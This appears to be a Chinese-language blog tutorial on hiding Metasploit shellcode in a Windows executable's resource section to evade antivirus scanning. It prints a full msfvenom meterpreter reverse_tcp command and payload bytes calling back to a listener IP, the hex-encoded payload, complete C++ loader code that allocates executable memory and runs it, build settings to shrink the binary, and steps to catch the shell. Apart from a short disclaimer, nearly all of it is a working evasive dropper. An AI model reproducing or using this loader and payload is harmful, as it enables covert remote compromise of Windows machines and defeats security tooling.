当我们开发Windows应用程序时,通常会涉及到使用资源(Resource)的情况。资源可以包括图标、位图、字符串、配置文件等,它们以二进制形式嵌入到可执行文件中,通过利用资源区我们可以插入自定义的ShellCode攻击载荷并以此来规避杀毒软件针对代码段的字符串扫描,来实现更好的免杀效果,提高载荷的生存周期。
对于ShellCode
的动态加载技术,市面上的文章都将其直接放入到可执行文件的代码段中,放入到可执行文件代码段中的优势是可以直接通过指针的方式调用执行,而缺点也很明显,因为杀毒软件最重视的查杀区域恰恰是程序的代码段,而资源区为无法被执行的附加数据,对于杀毒软件来说并不会太重视该区域,若将ShellCode
攻击载荷加密后放入到该区域,则程序中的代码段将不会保留有ShellCode
特征字段,也就能更好的达到一定的免杀效果。
首先,读者可以在Kali
系统中生成一段32
位的ShellCode
载荷,生成时需要指定本机的IP
地址和端口信息,生成后的ShellCode
通常保存在一个C语言格式的字符串数组中,将这段数组中的数据保存为shellcode.txt
文本文件。
┌──(lyshark㉿kali)-[~] └─$ msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.0.66.18 LPORT=9999 -f c unsigned char buf[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7" "\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" "\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01" "\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01" "\xd3\x8b\x48\x18\x50\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34" "\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75" "\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01" "\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01" "\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58" "\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00" "\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8" "\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80" "\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x42\x12\x68\x02\x00" "\x27\x0f\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74" "\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f" "\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10" "\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53" "\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8" "\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b" "\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e" "\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff" "\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a" "\x00\x53\xff\xd5";
|
使用之前开源的LyInjector
格式化工具,对此段ShellCode
进行压缩处理,传入Format --path
指定被压缩的文本文档,压缩后的效果如下所示;
D:\> LyInjector Format --path shellcode.txt fce88f0000006089e531d2648b52308b520c8b52148b722831ff0fb74a2631c0ac3c617c022c20c1cf0d01c74975ef52578b52108b423c01d08b407885c0744c01d08b582001d38b48185085c9743c4931ff8b348b01d631c0acc1cf0d01c738e075f4037df83b7d2475e0588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12e980ffffff5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a680a004212680200270f89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5
|
接着,我们新建一个lyshark.ini
配置文件,并将上述ShellCode
拷贝到该配置文件内,在项目解决方案管理器上右键选中添加资源选项,如下图所示;
此时会弹出添加资源菜单,通过点击导入按钮并输入资源类型为LYSHARK
点击确定保存这个更改,至此资源文件将被导入到项目中,如下图所示;
接着就是对资源的加载及读取实现,主要结构体 ResourceData
用于存储资源数据和大小。UseCustomResource
函数从资源文件中读取资源,动态分配内存并将资源数据拷贝到内存中,然后返回包含资源数据和大小的 ResourceData
结构体。FreeResourceData
函数用于释放动态分配的内存。
#define _CRT_SECURE_NO_WARNINGS
#pragma comment(linker,"/INCREMENTAL:NO")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <Windows.h> #include <iostream> #include <WinUser.h> #include "resource.h"
struct ResourceData { BYTE* data; DWORD size; };
ResourceData UseCustomResource() { ResourceData resourceData = { nullptr, 0 };
HMODULE hModule = GetModuleHandle(NULL); if (hModule == NULL) { return resourceData; }
HRSRC hRsrc = FindResource(hModule, MAKEINTRESOURCE(IDR_LYSHARK1), TEXT("LYSHARK")); if (hRsrc == NULL) { return resourceData; }
DWORD dwSize = SizeofResource(hModule, hRsrc); if (dwSize == 0) { return resourceData; }
HGLOBAL hGlobal = LoadResource(hModule, hRsrc); if (hGlobal == NULL) { return resourceData; }
LPVOID lpVoid = LockResource(hGlobal); if (lpVoid == NULL) { FreeResource(hGlobal); return resourceData; }
BYTE* pResourceData = (BYTE*)malloc(dwSize); if (pResourceData == NULL) { FreeResource(hGlobal); return resourceData; }
memset(pResourceData, 0, dwSize); memcpy(pResourceData, lpVoid, dwSize);
resourceData.data = pResourceData; resourceData.size = dwSize;
return resourceData; }
void FreeResourceData(ResourceData& resourceData) { if (resourceData.data) { free(resourceData.data); resourceData.data = nullptr; resourceData.size = 0; } }
|
通过调用InjectSelfCode
函数,该函数接收一段ShellCode
字符串,并将此字符串根据%2X
格式在内存中展开,当布置结束后直接通过调用((void(*)())exec)()
完成ShellCode
的反弹执行功能,其完整案例如下所示;
void InjectSelfCode(char* shellcode) { if (shellcode == NULL) { return; }
unsigned int char_in_hex; size_t shellcode_length = strlen(shellcode);
if (shellcode_length % 2 != 0) { return; }
size_t memory_allocation = shellcode_length / 2;
char* binary_shellcode = (char*)malloc(memory_allocation); if (binary_shellcode == NULL) { return; }
for (size_t i = 0; i < memory_allocation; ++i) { sscanf(shellcode + 2 * i, "%2X", &char_in_hex); binary_shellcode[i] = (char)char_in_hex; }
void* exec = VirtualAlloc(NULL, memory_allocation, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (exec == NULL) { free(binary_shellcode); return; }
memcpy(exec, binary_shellcode, memory_allocation);
DWORD oldProtect; if (!VirtualProtect(exec, memory_allocation, PAGE_EXECUTE_READ, &oldProtect)) { VirtualFree(exec, 0, MEM_RELEASE); free(binary_shellcode); return; }
((void(*)())exec)();
VirtualFree(exec, 0, MEM_RELEASE); free(binary_shellcode); }
|
最后一段是主函数执行部分,首先调用UseCustomResource
函数得到程序中资源文件字符串,并经此字符串放入到resourceData
结构体内存储,通过调用resourceData.size
可得到字符串长度,调用resourceData.data
则可得到字符串数据,将数据传入InjectSelfCode
函数内即可实现注入并执行的目的,为了防止资源被释放此处使用一个while(1)
让程序一直运行下去。
int main(int argc, char* argv[]) { ResourceData resourceData = UseCustomResource(); if (resourceData.data != nullptr) { printf("ResourceSize: %d byte \n", resourceData.size); InjectSelfCode((char *)resourceData.data); while (1) { }
FreeResourceData(resourceData); } return 0; }
|
读者可自行将这段程序组合起来,为了能让程序足够小,在编译之前需要更改几个编译选项,首先点击Visual Studio
中的调试菜单选中属性页面,找到配置属性页面,并依次修改如下配置参数;
- 配置属性->C/C++ -> (优化 -> 选择完全优化)|(优化大小或速度->选择代码大小优先)
- 配置属性->C/C++ -> 预编译头->选择不使用预编译头
- 配置属性->链接器->常规->启用增量链接->是
- 配置属性->链接器->清单文件->生成清单->否
- 配置属性->链接器->调试->生成调试信息->否
- 配置属性->链接器->高级->合并节->输入.rdata-.text
通过上述优化配置以后,生成的可执行文件将被压缩为10KB
以内,我们在Kali
系统中启动一个侦听器,并在客户端上以管理员身份运行lyshark.exe
程序,此时回到攻击主机即可看到客户端已上线。
警告:本篇文章中所涉及的内容仅用于技术交流与研究之用,仅允许被用于正规用途或学习目的,请读者自觉遵守相关法规,禁止滥用。